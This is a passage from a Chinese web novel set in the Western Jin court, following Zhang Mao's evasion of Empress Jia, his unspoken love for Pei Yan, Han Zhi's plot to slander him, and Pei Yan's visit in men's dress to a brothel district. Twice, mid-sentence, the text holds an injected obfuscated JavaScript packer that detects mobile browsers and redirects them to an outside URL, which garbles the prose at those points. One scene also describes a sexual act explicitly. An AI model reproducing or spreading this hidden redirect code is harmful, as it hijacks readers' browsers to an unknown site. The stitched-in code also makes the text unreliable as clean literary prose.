贾后本是因张轨才接见的他们,然而见到张家二子后,素来爱才更爱貌的贾后立时双眼冒光。 皇帝一侧的张华与裴頠对视一眼,心道不好,贾后好色的老毛病怕又犯了。 就听贾后和颜悦色又不乏可惜地对张寔道:“张大郎在殿前行走三年,本宫竟未曾留意过。” 张寔毕恭毕敬奏对:“臣鄙陋,三年来只于殿外行走,不敢污贵人耳目。” 贾后正想说:“日后可入内奏对!”突然看到他露出的一侧手臂,其上白麟点点,细看之下,竟是大片不规则的白斑,好似牛皮藓! 贾后顿觉一阵恶心。 张寔这才惊觉失仪,忙不迭地将衣袖拉下整理好,朝上首帝后告罪:“臣有罪!” 张寔这些年虽身在中枢,但一直避着贾后行走,有事只与张华汇报。张华也处处护着他,是以贾后以前并未关注到他。今日看着,皇后本对张寔很有好感,却不料这么端方的郎君,居然身患皮藓!贾后只觉兴致全无。 她下意识操起一侧的麈尾遮面,心里却犯嘀咕,离我这么近,也不知这藓过不过人啊! 张茂安静地立在张寔身侧,对大兄的失态亦做惶恐状。 贾后看着张茂更甚其兄的容貌气度,心气好转了些,又把目光转向张茂,放下麈尾,问他:“听闻张小郎如今在兰台修史?” 张茂抱拳:“微臣在陈著作手下整理卷帙,不敢当修史二字。” 贾后身边,韩芷正殷勤侍奉着。她素来察言观色,一边给贾后摇着便面,一边进言:“从母,张二郎仪止风度俱佳。如此人才,只在兰台当个刀笔吏岂不可惜?何不调至少府,做个黄门郎?” 贾后正有此意。 裴頠轻咳一声,略有深意地看了韩芷一眼。 韩芷假作惊怕地噤声,实则便面当风,缩着脑袋看热闹。 裴頠生怕贾后动歪心思,趁她未发话,赶紧假意斥责韩芷:“勾陈史籍乃大功业,岂能说调就调?” 恭陪末座的陈寿素来看重张茂,亦适时出声:“张二郎清虚好学,正是臣的不二副手,恳请娘娘容他暂留兰台,助臣修史!” 贾后有些不高兴。她不过是喜爱张二郎的好相貌,想时时放在身边养养眼,又没有非得干什么,怎么一个两个防她跟防贼似的。 张茂却淡定地道:“娘娘容禀,臣有一金兰,姓董名狐,面貌与臣有七分相似,为人机警,行事周全,亦将将起家兰台。臣斗胆,荐之入少府。” “哦?”贾后来了兴趣,长得与张茂相似,还是个伶俐人? 侍坐于贾后脚边的韩芷却脸色一白,她恨恨地看向张茂,眼里能喷出火来!她好不容易才寻到个与张茂有几分相像的董狐,正是如胶似漆的时候,张茂居然一个反手就将他献给皇后了? 张茂却无视她的怒目相向,眼观鼻鼻观心地静立一旁。 最惊喜的莫过董狐,他本在底层随从之列,如今突然蒙帝后宣召,一下子有些蒙,待回过神来,只觉既惊且喜,忙正了衣冠,随小黄门上了顶楼。 待入得大堂,他谨慎地低头趋进,心内惴惴,不能自已。 行礼毕,贾后命他起身抬头。他依言照做,待站直身子,殿内顿时一静。 董狐心内不安,拿余光瞄了瞄上首,只见主座上正歪坐着一个白皮体胖的中年男人,身穿上玄下朱冕服,头戴十二冕旒,却不说话,也不看他,只百无聊赖地盯着地面的蜀锦发呆。董狐了然,这就是天子了。 皇帝身边是一名中年贵妇,肤色略黑,身形臃肿,五官平平,却头插十二花钗,身批织金缎帔,腰下围了一圈南珠燕尾霄,艳阳经凤凰楼的琉璃顶窗倾泻而下,照得贵妇满头珠光熠熠,神采飞扬,董狐心知这便是当今的皇后了。 贾后身后正坐着韩芷,就见她隔着皇后,朝董狐微微摇头。 董狐不解其意。但众目睽睽,二人不敢有大动作。 贾后不动声色地将来人上上下下打量个遍,微笑着点点头,显然对这个“替代品”还算满意,便放柔声音,问他:“方才张二郎举荐你入少府,你可愿意?” 董狐差点以为自己听错了,又是惊疑又是大喜。他跟张茂素来没交情,甚至有些交恶。只因二人年龄相近,长相相似,又几乎同时进的兰台,故而俩人总被旁人比来比去。 他自己学问不好,是靠贾家硬塞进来的。为了伺候韩芷,他动不动还得找借口告假,自己手上的活干不完,总是连累同组的人加班加点的分担,惹得同僚都很不喜欢他。 而张茂却相反,他虽是裴家举荐来的,却是有真学问的人,做事也兢兢业业,很得陈著作器重。因而董狐其实很嫉妒张茂。二人虽未恶言相向,但是等闲没甚来往。彼此在兰台遇上了,也不过点头之交。 张茂怎么会好端端的举荐他?莫非有什么阴谋? 他悄悄朝张茂看去,见张茂无视他的探究,依然笔直地站着,稳如泰山。 董狐强作镇定,暗道我与他虽不要好,但往日无怨近日无仇,他该没必要害我!何况,少府直入中枢,里面的人物均是帝后近臣!怎么说都比待在兰台修那个破史强!这一步登天的机会既然拱到了我面前,哪怕有阴谋,我也认了! 董狐下定决心,不管张茂抱着什么目的,他先应承下来,待到了皇后身边,见招拆招就是! 因此,尽管韩芷一个劲地给他使眼色,头摇得跟拨浪鼓似的。他也假装看不见,径自下跪,喜气洋洋地应承:“臣叩谢娘娘慈德!” 美郎君要到了,贾后见好就收,自然也就不再计较张茂的去留。 要说贾后这人有很多缺点,比如好色、嫉妒、性狭、狠辣,但她也有很多身为政客的优点,其中最大的一点,就是听得进谏言。 既然她最为器重的裴頠都不愿她染指张家兄弟,那她作罢便是。长得俊的郎君哪里找不到?没必要为了区区风月事,得罪重臣。 何况那张茂的阿耶还真有几分将才,千军易得一将难求,看在张轨的面子上,对他家的郎君,也该尊重些。 于是,她真诚地勉励了张家兄弟几句,又赏下不少金银物事,便放他俩下去了。 至于董狐,则留在殿中奉诏,正巧坐在韩芷旁边。 韩芷咬牙切齿地瞪了他一眼,董狐讪讪地摸了摸鼻子,心里却并不愧疚——人往高处走,攀附谁不是攀附?韩芷身份再高贵不也得仰仗皇后?他何必放着正主不伺候,反而去迎合她? 韩芷面上笑着,心里却又是不甘又是不舍,又是愤恨又是无奈。 她当年情窦初开,却被张茂狠心拒绝,心灰意懒下听从家里安排,嫁了荀家郎君,却婚姻不顺,夫妻不睦。 她没少把自己的不幸赖在张茂头上。谁让他当初不从了她?她嫁给张茂总比嫁给荀家那个癞蛤蟆强吧! 如今她自己在外开府另居,本想借皇后之手,给那不知好歹的张茂使点绊子吃些苦头,也算报了当年之仇。说不定张茂被皇后纠缠,走投无路,还能来投靠自己。不料却有一堆人物护着他,真不知他哪里来的能耐! 更可恨的是,张茂居然把她的男宠董三郎献给了皇后!这董狐是她的诸多男宠中最得她心意的,如何能让她不气! 韩芷银牙咬碎,只觉张茂处处与自己作对,却不想想,她不主动害人,张茂又怎会反戈一击? 张家兄弟回去的路上,张寔抹了把头上冷汗,趁四下无人时,对张茂道:“幸亏阿弟机警,猜出帝后必有召见,事前向皇甫师叔要来这长斑的药水,不然今天我还真没法脱身哩!” 又问他:“为免皇后起疑,你只让我用这药,说自己另有妙法。你的妙法,就是那董三郎?未免太冒险了些,万一那董狐未能得皇后青眼呢?” 张茂却摇头,回头看了眼身后,轻声道:“皇后掌中枢多年,不是分不清是非轻重之人。朝中将才短缺,她尚且要用阿耶,对我等不会太苛刻。” 张寔点头,贾后虽好色,但在用人上,却还算知人善任。 提起贾后,他忍不住问弟弟:“皇后身边的那位可是韩夫人?她与你有过节不成?为何处处刁难于你?” 张茂面色不变,毫不留情地陈述道:“她曾钟情于我,被我一口回绝,因此怀恨在心。” 张寔大概猜到,摇头笑道:“以前,总以为阿弟还小,如今看着,竟也到了令神女留情的年纪。”又语重心长地传他经验:“对女人,不能这么直来直去的,要学会攻心。哪怕拒绝人家,也要让人家念你的好。而不是跟这位韩夫人似的,把你当仇家整。” 张寔停了停,见张茂眉头微皱,一脸不以为然,显然没听进去,不禁劝道:“你啊,一直不开窍怎么行!是该与你娶妻纳妾了!这些年阿耶一直留心你的婚事,但总怕高不成低不就,委屈了你。今次阿耶得胜还朝,咱张家起势在即,欲与我家联姻的人家只多不少。说不得,阿弟今年就能娶到佳妇啦!” 张寔还嫌刺激他不够,一撩大袖,露出右手腕上的五色长命缕,拨弄着鲜艳的丝穂道:“祝阿弟明年也能戴上,嗯?” 张茂俊眉微挑,白了兄长一眼,一刻也不想与他多待,回他道:“阿兄落座去吧,仔细一会同僚敬酒!”他自己却脚步一转,往凤凰楼外的洛河边走去。 张寔问他去哪,他随口道:“楼里人多气闷,我外出散散。” 这一散,就到了离凤凰楼不远的鸣鸾阁前。 鸣鸾阁比凤凰楼形制略矮,只有两层。 帝后臣工在凤凰楼里与民同乐,王孙贵胄家的女眷则多在鸣鸾阁里自在赏景。 张茂不自觉地在阁前停下步子。 二楼露台上,有两个佳人正举着便面嬉闹赏景,虽戴着幂离,张茂却还是一眼认出了她们。不是裴妍姊妹,又是何人?尤其裴妍,似乎不用言语,张茂仅凭一眼就能认出她来。 初夏的暖阳照着佳人如雪的面纱,纱布上绣有金线,与天光相和,闪着莹莹金光,好似夜空里扑闪的流萤。 张茂觉得,即便是刚才插了十二花钗的皇后娘娘,都没有裴妍来得耀眼夺目,光彩照人! 裴妍与旁边的裴妡笑闹着,不经意间扫过楼下,却见一身官服的张茂正站在楼底,愣愣地仰头看着她们发呆。 她赶紧撩开幂离一角与他招呼:“阿茂哥?你不在凤凰楼里观景,跑我们这作甚?” 张茂没想被她发现了,回过神来,冲她一笑道:“楼里酣饮正盛,我酒量不济,出来醒酒。” 裴妍点头,想到今日听裴妡说的上党传来大胜的消息,便预先祝贺他道:“听闻张世叔得胜即将还朝,恭喜啦!” 洁净的阳光洒在佳人白嫩的侧脸上,张茂依稀可以看见那上面稚嫩的茸毛,可爱极了。 他心情瞬间大好,绽开一抹笑颜,回道:“有劳元娘惦记!” 张茂素来脸若白玉,他一笑,有如严寒冰破,春回人间,扰乱一池绿水。 此时,河东公主,王清风、王和风姊妹亦闻声而来,见到张郎一笑,诸女皆俏脸微红,拿便面遮了脸,躲在扇后偷偷地看。 裴妍不满身边这些姊妹,每次张茂出现的时候,裴妡也好,河东公主也罢,都像换了个人似的,矫揉造作得很。 恰此时,身边侍奉的容秋提醒她:“女郎不是有礼物要交与张郎君?” 裴妍突然想起来,自己昨日编了两条长命缕,裴憬一条,张茂一条。 有意无意地,就听她“哎呀”一声,手上的便面犹如断线的风筝,直直坠入楼下,正正好落在张茂脚边。 张茂不知底里,顺势帮她捡了,就听裴妍道:“阿茂哥稍待,我这就下来拿。”言罢便要下楼。 裴妡一把拽住她:“外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今日他与阿兄行在一起,见阿兄袖口时隐时现的长命缕时,他不是没有羡慕的。可是当阿兄打趣他今年就能娶亲时,他却只觉一阵烦躁。只要一想到他即将娶一个陌生女子为妻,以后吃穿用度皆由这女子打理,着她缝的衣衫,戴她编的长命缕,他就觉得浑身不舒服。 然而,如今,当裴妍给他这根长命缕时,他却只觉心口一暖,好似春回大地,死寂的心口重返生机。 “咚!咚!咚!”龙舟战鼓一声高过一声,每一下都带着震天撼地的力道,稳稳落在人的心底——他突然意识到,原来不是他不想娶妻,而是他不想娶旁的女人为妻!若他的妻是元娘…… 裴妍见张茂盯着彩绳不说话,以为他嫌弃自己手艺不好,有些失落地收回手:“要不,我重新打一根?” 张茂赶紧摇头,伸出胳膊:“劳驾元娘。”这是想请裴妍帮他戴上呢!这种事,一反他平素的谨言慎行,透着说不出的暧昧。 “哦!”裴妍有一瞬的呆愣,待反应过来,心内又是欣喜又是羞涩,忙上前一步,低了头颤着手儿给他系绳子。 她感觉一股热辣辣的视线一直落在她的头顶,如有实质。她不敢抬头,系绳子的时候她的手触到张茂的皮肤,俩人都不自觉地一颤。 头上突然传来张茂的声音,竟是问了她一个不相干的问题:“这长命缕是单单我有,还是府里的郎君都有?” 这话问的裴妍俏脸更红了。 她赶紧解释:“自是你和大兄都有,二兄和三兄嘛自有嫂嫂们编,哪轮得上我?大兄的那根我早上给他了,你这根本想早起送你的,只是你出门太早,我没赶上。” 裴妍细弱的声音被岸边一浪高过一浪的叫好声盖住——恰此时洛河上的龙舟终于决出胜负,众看客高声叫好,纷纷为赢得头彩的船只喝彩。 帝后还命小黄门颁下赏赐,赢了钱的船老大高举健硕的臂膀,朝众人作揖致谢。 到处乱哄哄的,裴妍也不知自己说的张茂听见多少。她抬头,就见他亦一动不动地盯着自己,炽热的艳阳照进他亮如星子的眼中,反射出闪闪的金光。 裴妍被他眼里的精光所摄,只觉整个人都被他吸引,再说不出一句完整的话来! 漫天喧嚣中,再强的理智也被松动。鬼神神差的,张茂情不自禁地向裴妍逼近一步,开口道:“阿妍,我心悦你!” 然而,周围实在太吵了,张茂好不容易鼓起勇气说出的话却被周围的欢呼声掩盖。 裴妍只见张茂嘴唇翕动,却什么也没听清。 她大声问他:“你方才说什么?” 张茂被裴妍一噎,喧闹散去,神志回笼,他只觉自己方才真是昏了头!他什么身份?裴妍是什么身份?他哪来的脸,拉着主家的女郎在人后私相授受?河东裴氏赫赫百年,他一个凉州来的乡下人,在京中无权无势,有什么资格,在裴妍面前,说自己心悦她? 人一旦清醒过来,意乱情迷的话便再讲不出口。他喜欢裴妍,然而他什么都不能做。至少如今,还不是时候! 张茂甚至有些庆幸,还好刚才人声鼎沸,盖住了自己的胡言乱语! 裴妍还要追问,张茂却又变回了往日那个波澜不惊的样子,好似刚才的动情只是一场幻境。 他将那戴着长命缕的手收回袖口,略略退回一步,抽出腰扇若无其事地轻轻敲了敲裴妍的帽顶,大声对她道:“回去吧,就要散场了,人多!” 裴妍直觉自己似乎错过了一件重要的事。然而张茂却不给她说话的机会。他朝她身后几步远的容秋使了个眼色。容秋会意,半拉半劝地将裴妍拽回了楼里。 张茂深深看了眼裴妍远去的背影,下一刻,毅然转身向来处走去。 这一切,都落入楼上观景的裴妡和河东公主眼里。 “原来阿妍姊姊是特意下楼去送长命缕的!”河东公主翻转着便面幽幽地道。 裴妡知道河东公主一直对张茂有好感,只是碍于张家门第不高,一直不敢跟皇后提罢了。 只是,公主地位尊贵,她们裴家女郎也不差。那张家小子与她阿姊,同样门不当户不对! 裴妡不置可否,笑道:“公主不知,我阿姊给几位兄长都编了手绳,张郎君既寄居我家府上,也算我们半个兄长,送他一根也是应有之义。” 河东公主摇着便面笑笑,没有接话。她虽然年纪小,但自幼长在宫闱。她阿耶碰上喜欢的妃嫔时,脸上的表情和方才的张郎君如出一辙。说他和阿妍没故事,呵,谁信? 32. 韩芷使计辱张茂,裴妍误入吃飞醋 晚间,张茂依言派拾叔送来三幅扇面,俱是夏荷花样,也算应了时景。 裴妡进来的时候,裴妍正半躺在榻上,就着案边的烛火,拿手抚着水墨染就的扇面,津津有味地欣赏着。 裴妡挥退婢女,缓步上前,随手抄起一幅,点评道:“行云流水绕素笺,计白当黑钩流年。张二郎的画当真雅致。” 裴妍才疏学浅,拿到一幅画,只会凭心说好不好看、喜不喜欢,没本事像裴妡这样出口成章。 她没兴趣与大才女讨教学问,捧着手上的扇面翻了个身,背朝着她,兀自欣赏。 裴妡叹道:“前几日,河东公主也托我向张二郎索要墨宝来着,结果你猜怎么着?人家婉拒了。” 裴妍闻言,起初内心得意。可是,她突然想到某种可能,陡然从榻上回身,皱眉问妹妹:“河东公主素来眼高于顶,黄门署长的大作都看不上,怎么偏偏看上阿茂哥的?” 她秀眉微蹙,试探道:“莫非公主索画是假,要人是真?” 裴妡却“噗嗤”一声,拿画作遮住自己大半张脸,只余一双灵动的眸子在外面,一对黑葡萄般又圆又亮的眼珠子,直勾勾地盯着裴妍,内里闪着狡黠的精光。 裴妍这才意识到,自己八成被妹妹诳了,什么公主索画,分明是借公主来试探她反应哪!她一时恼羞成怒,作势要打她:“胆肥,居然敢编排公主,仔细皇后扒你的皮!” “不试你一试,如何晓得姐姐对张二郎如此看重?”裴妡止住笑,幽幽地看向裴妍。 夜风自半开的隔窗溜进来,案前的的烛火突然明灭不定,照得室内影影绰绰。不知怎的,裴妍有一瞬的心慌,可她冷静地想了想,自己又没做什么见不得人的事,有什么好慌的:“他在我心里如大兄一般,怎么就不能看重了?” 裴妡一时语塞。她想起白日里看到的那幕。彼时,其他人都被远处洛河的龙舟吸引,唯她和河东公主,探着头盯着她和张茂。 她亲眼见到姐姐与张茂在楼底交谈良久,虽无逾举,然而张茂看裴妍的眼神却难掩爱慕。 裴妡这些年在宫里行走,名为公主伴读,却眼观六路耳听八方,察言观色的功力见长。 张茂看自家姐姐的情态,绝不是兄长看妹妹、清客看主家那么简单。而自家姐姐,瞧张茂的眼神,也并不单纯。两个人都是天人的长相,男俊女俏,光从外表上看,确实当得起一对璧人。 只是……她纠结地看了眼堂姐,裴家门第,岂能配寒门? 裴妍却大喇喇地回瞪过来,一派事无不可对人言的坦荡样子。这倒将裴妡唬住了,她疑心自己是不是多想了?毕竟堂姐貌美,比自己尤甚,是个男人都会动心吧?姐姐除家中几位兄长外,接触最多的外男就是张二郎了,张茂对姐姐有点情思,也是人之常情。只是阿姐对男女之事一向粗疏,许是张茂一厢情愿也说不定。 裴妍见裴妡狐疑的表情,只觉意兴阑珊,刚刚得了佳作的好兴致被搅得稀烂。 她仰身倒回榻上,拿起手边的一副扇面遮了脸假寐,再不给裴妡说话的机会。 不知为何,尽管知道河东公主觊觎张茂是假,但联想到白日里公主看张茂的眼神,她还是浑身不爽利。心里不无鄙夷,切,还公主呢,几辈子没见过男人?碰到长得好看的就挪不开眼了? 可她有什么资格阻拦公主呢?自己又不是张茂的亲妹妹,即便是亲姊妹,还能拦着他尚主不成? 裴妍越想心越堵,她转过身,拿后背对着裴妡,脸上依然盖着那幅扇面。 裴妡眼光掠过画作一角,在“敬赠元娘”四字上转了一圈。 深谙书道的她在那几笔铁画银钩里轻易捕捉到一抹不同寻常的柔情。还好以她姐的书法造诣,只怕是看不出的。 裴妡轻叹,姐姐这般糊涂未尝不是好事,伤人总比伤己强!但愿她能一直这般迷糊下去! 裴妡随后轻手轻脚替堂姐掖好薄毯,径自走了。 孤月高悬,月明星稀,同一轮皓月下,是不一样的人间悲欢。 “啪!”一声脆响,通体雪白的前朝玉瓶被砸在墙上,哗啦啦碎了一地。织金长绒毡毯上满是支离破碎的器物,韩芷犹嫌不够,手边能砸的都被她砸完了。她环顾四周,见墙上有一副左贵人的竹林饮酒图,想也不想,上去就撕。 室外,跪了一地的侍女面首,谁也不敢这时候上来劝解。 管事的家老焦急地跪在门边,眼看着满地的古董字画碎了一地,心里揪着疼。又恨恨地看了眼身旁同样跪着的一干俊俏郎君,目露鄙夷:一群废物,关键时候畏首畏尾,一个能为女郎排忧解难的都没有,要你们何用!却不想他自己比之那些男宠又好到哪里去! 韩芷撕累了,火也泄了大半,她疲软地歪倒在地,一手撑着半翻的案几,一手抚着满是热汗的额头,厉声对外面人道:“还不滚进来!” 家老立刻领着下人瑟缩入内,收拾的收拾,洒扫的洒扫。唯独那几个应召的俏郎君直愣愣地站在韩芷面前,手足无措——女君正在气头上,显然无心行那风月事,他们能干什么呢? 其中一个机灵点的,轻手轻脚地跪到韩芷身后,试探着给韩芷揉了揉鬓边,见韩芷没有拒绝,这才放下心来,大着胆子,给她按摩头顶。其他郎君有样学样,一拥而上,纷纷给韩芷捏腿的捏腿,敲背的敲背。 韩芷的情绪渐渐平复下来,她半睁着眼,觑着头顶的雕梁画栋,似是发问,又似在喃喃自语:“有一个人,你想了很多年,可他却视你若无物,你待如何?” 这话原是她在问自己,没指望有人回应,却不想挨得近的一个郎君急于表现,脱口道:“女君说笑了,您天人之姿,见过的男儿谁人不动心?” 韩芷闻言,歪头,乜斜着眼瞧他:“若真有这样的男人呢?” 那郎君眼珠一转,离韩芷更近些,抬袖附耳道:“若真有,怕不是无能,便是断袖吧!” 韩芷一时愣住,待回过神来细细一想,突然觉得,有道理啊!按说自己这么个风情万种的大美人,哪个男人不想染指?唯独他,跟冰山似的,处处躲着自己。不是有病是什么?何况这些年,张茂漫说娶妻,听裴妡讲,身边连个侍女都没有,惯常就一个老仆一个小厮侍奉着。如此说来,他该不会,真的是,有龙阳之好吧? 想到此节,韩芷立时惊坐起来,下意识地看向刚才说话的郎君身下,惊得那郎君赶紧捂住裆部,脸上一白,再不敢多言。 韩芷托腮沉思。老实讲,她与张茂本无大仇怨,但他当年直截了当地拒绝了自己,那时她年轻,只觉备受打击,听说家里与她议亲,她想反正喜欢的人不喜欢自己,她嫁谁不是嫁?连相看都懒得去,直接听从家里安排,心灰意懒地跟荀家那个木头成了亲。这些年,她婚姻不顺,回头想想,竟都是缘起于张茂这个混蛋! 一旁的家老见韩芷似在想事情,不敢打扰她,只小心翼翼地更换了案上的烛台,室内一下子亮堂起来,韩芷松散的云鬓下,一双眼眸似着了火。 她因为他过得人憎鬼厌,凭什么他可以跟没事人似的,无视她的存在?甚至,把与他长得有几分相像的董狐都从她身边抢走,连个念想都不给她留? 韩芷嘴边划过一抹嘲讽。这些年,张茂不近女色,连个侍妾也无,管他什么原因,三人成虎,众议成林,好男风这种事,素来捕风捉影,哪里需要真凭实据? 她放松下来,仰靠在缇几上,张茂本就家门不显,若再惹上分桃之嫌,看你怎么在朝上立足! 张茂阿张茂,既得罪了我,总得付出点代价不是! 韩芷突然解恨不少。她心中痛快,再看身边伺候的郎君,也觉顺眼许多。 几个面首里,有一个长相特别干净的,韩芷突然来了兴致,朝他勾勾手,将人召到身前来,慵懒地点点他的薄唇,又舒展地弯起自己的一条腿。 那郎君立刻会意,嘴角噙笑,竟不顾众人在侧,一头扎进韩芷的留仙裙里。 只见裙下那人的脑袋微微蠕动,不时传来啧啧的吸水声。 韩芷只觉身下陡然一酥,快意迅速自那处弥漫全身,眼眸微避,香唇半张,似是舒爽到了极致。 身边的郎君早已见惯不怪,见此情景,不仅没有回避,反而纷纷给她揉腰按腿地助兴。 韩芷仰面靠在身后的隐囊上,难抑快活地娇喘不已…… 三日后,兰台秘府。 一只修长的手将竹简卷好,归入一旁堆成小山的书堆中。张茂来不及抬头,另一卷竹简被它铺上案头。 他的上首坐着一个须发染霜的老者,正是奉命编史的陈著作。 二人相对而坐,皆运笔无声,一室静谧,只有竹简磕碰发出的清脆声响。 “哗啦……”如山的竹简堆终于受不住层层重压,突然自上而下地散落下来,瞬间铺了一地。二人这才被惊到。 老者停笔,看了眼天色,早已过了哺时,他想起一事,对下首的张茂道:“今日你早些下衙吧!” 张茂恰写完一卷,闻言,迟疑道:“大人不同行?” 陈寿一向敦肃的脸上难得露出一抹戏谑:“那是年轻人爱去的地方,我老了,去也不中用啦!” 张茂听出上司言语中的调笑,面上微微一红。 此时外间来了几个约好的郎君,探头探脑地在门口等着他。 陈寿朝张茂挥挥手。张茂只好朝上首恭敬一礼,随门外的郎君一起退了下去。 下台阶时,最小的王家郎君拍着心口对张茂道:“还以为陈著作要留你到很晚,还好今天放人早。” 张茂闻言,笑笑没说话。张茂在兰台很得著作郎陈寿的器重,经常将他单独招致秘府修史。他待人温和耐心,做事勤恳细致,因此人缘不错。僚属里不管是世家公子还是寒门子弟都愿意与之交好。 这天恰逢一个姓贾的郎官生辰,晚晌在章台置酒。僚属里的年轻人都受了邀请,他不好推脱,只得应邀前往。 恰他前脚出得兰台,裴憬和裴妍兄妹后脚便来寻他。原来兄妹俩刚从郭家省亲回来,路过兰台。 郭家的扁米粽子裹得好,兄妹俩以为张茂今日又得加班,特地带了一些给他当宵夜。 结果,刚到门口,就听守卫说张郎君与一众郎官都出去了。 裴憬一拍脑袋,对妹妹道:“我差点忘了,茂弟先前与我提过,他有个同僚今日生辰,约他章台饮宴……” “章台是哪?”裴妍自认从未听过这个地方。 “就是……”裴憬哑然,完了,他怎么把那种乌糟地方说了出来? “新开张的酒楼吗?带我去瞧瞧呗!”裴妍来了兴致,三年没回洛阳,看来新开了不少食肆! 裴憬摇着双手,急道:“这地你……你不能去!” “为甚?”裴妍眨巴着大眼睛问哥哥。 裴憬急的挠头,他该怎么跟妹妹解释……那种地方呢? 还是长河忍不住小声地从旁提点了一句:“女君,那是郎君们才能去的地方。” 裴妍一愣,隐约明白了些。 她转身,试探地问裴憬:“就是那种,有女乐佐酒的馆子?” 裴憬抬袖拭汗,尬笑着点头。 下一瞬,就见一向和风细雨的妹妹眼神突然一凛,冷笑着嘲他:“我长这么大,还没见识过那等快活处呢,不想兄长们倒是驾轻就熟!” 言罢,气咻咻地转身回去了。 裴憬被妹妹一刺,别提多冤枉了。他长这么大,也没去过那种地方啊,更没碰过外面的女子了!他真是,被张茂连累了啊! 却说裴妍回房后,越想越气。阿娴说的没错,男人不管外面多么光鲜,骨子里没一个好东西。 她在床上躺了会,可是一闭上眼,就是一群打扮得花枝招展的女子围着张茂作乐的样子,她气得坐了起来,狠狠锤了锤床沿。 容秋小声劝她:“女郎息怒,郎君们时有应酬。张郎君身在官场,也是逼不得已。” “应酬?逼不得已?”裴妍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001226|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下子坐起来,问容秋:“去喝花酒还委屈了?” 容秋讷讷不敢言。 裴妍叉腰在房里来回转了几圈。她说不上来自己为什么那么愤怒,大概是因为她视张茂为至亲兄长,不愿放任他受外面那些纨绔蛊惑,去那等乌糟地吧? 对,一定是这样! 她到底没能压住心中邪火,停下步子想了想,招来容秋道:“前番给大兄和阿茂哥做的两身男装呢…!” …… 洛阳的章台街本名不叫章台,只是前朝长安的章台之名太过响亮,今人附会,也便这么叫着了。 章台街上妓馆鳞立,月华初上,到处张灯结彩,艳帜高挂。 裴妍与容秋略显瑟缩地挤挨在来寻欢的郎君中间,看着周围的莺莺燕燕,处处新奇。 裴妍东张西望,有些目不暇接。本是一身怒气地来的,如今却被好奇牵着走。 恶月之中,暑气渐升。门口迎客的女伎们穿得分外清凉。 就在离她们最近的妓馆前,一个丰满白嫩的年轻女郎,穿着西域传来的高腰袒胸裙,将胸脯上的束带扎得紧紧的,两团玉兔一样的白肉被挤得高高的。 一个郎君经过,她立刻扇着便面抱住郎君的胳膊,胸前那两团跳脱的兔肉紧紧贴在郎君身前。 那郎君果然被蛊惑,与那女郎调笑两句,长臂一揽,搂着佳人进了楼里。 裴妍哪里见识过这等场景,顿时目瞪口呆。当她呆呆地看着别人的同时,别人也在看她。 裴妍本就长得国色天香,平日里出门都要戴着幂离。如今她男装出行,束发戴冠,又因尚未长成,正是雌雄莫辨的年纪,周围竟无人认出她是女子,只觉这是个长相奇美的小郎君! 章台这等风月地,什么样的人都有,有好女色的,自然也有好男风的。 这不,就有一个喜欢娈童的中年男子色眯眯地打量裴妍,又见他身后只跟了一个同样瘦弱的仆从,便以为他好欺负,舔着脸上前问她:“小郎瞧着眼生,是头一次来吧?小郎若不弃,某来带你开开眼?” 言罢就逼上前,欲拉裴妍的手。只是还未碰到她衣服,就听得惨叫一声,这人突然捂着手腕跌倒在地。 原来容秋眼疾手快,在他碰到裴妍前,将他的手反向一握一折,复又踹出一脚,便把这人踢飞了出去! 那人挣扎着抬头,就见小厮模样的容秋两手叉腰,怒目圆瞪,斥道:“哪来的腌臜货,竟敢碰我家郎君!” 原先那男子见眼前的小郎身边只跟着一个仆从,存了轻薄之心。如今再看,这小郎连身边的仆人都功夫了得,再看他通体衣饰名贵,连个仆人都着华锦亮彩,一时摸不准他的来路。 洛阳世家名门太多,这男人不敢造次,只好捂着手悻悻地逃走了。 周围有好男风的,见这小郎君身边有高手护卫,也尽歇了心思——本来嘛,来这就是寻快活的,没必要给自己惹麻烦! 裴妍耳根清净了,便学男子的模样,摇着腰扇,不紧不慢地边走边看。 容秋紧紧跟着她,生怕她像刚才那样,被人轻薄了去。 突然,裴妍在一家装饰清雅的两层小楼前停住,看了看牌匾,不太确定地问容秋:“阿茂哥去的那家馆子叫什么来着?” 来之前她特地派容秋去找听雨打听过。 “就是这家,清漪馆!”容秋看着头顶牌匾道。 “哼!这种地方,何来清漪?” 裴妍扬袖负手,雄赳赳气昂昂地迈了进去! 清漪馆的伎子们难得看到这么年轻漂亮的小郎君,又见他通体衣饰华贵,猜想必是豪门家的小郎初长成,学父兄的样子来长见识呢! 妓馆里的女郎最喜欢这种细皮嫩脸的小郎君,干净,面皮薄,还好哄。尤其这个小郎还长得这么俊。 一时间,裴妍身边立刻围上来一群莺莺燕燕,争相招揽他。 容秋一见,立刻冷脸挡在裴妍身前,无奈来的女郎太多,她只有两手两脚,却是怎么拦也拦不住! 清漪馆里的假母也一眼就看到了裴妍。她怕手下的女郎没分寸,把这条大鱼吓跑了,赶紧摇着团扇把女郎们赶走,热情地与裴妍寒暄:“小郎君面生,是头一次来我们这吧?” 裴妍手脚无措地理了理自己的衣衫,又觉得这举动太女气,赶忙两手背后,学父兄的模样,绷着脸,假装淡定的点头。 假母一眼就看出这小郎还是个雏儿,看这女里女气的样子,必是个养于妇人之手、锦绣堆里长大的孩子。 假母心知对这样没开过荤的小郎得徐徐图之,万不能把人吓跑了,便吩咐人去喊里间还未接客的雏儿过来作陪,自己边与裴妍寒暄,边把人往楼上的厢房引。 裴妍急死了,她哪里是来找女人的?她是来找男人的啊! 二楼是雅间,一排排房门紧闭着,裴妍鬼鬼祟祟地跟在假母后面,边走边伸长脖子往门缝里瞧,可惜每个房门都闭得严实,她什么也看不到。 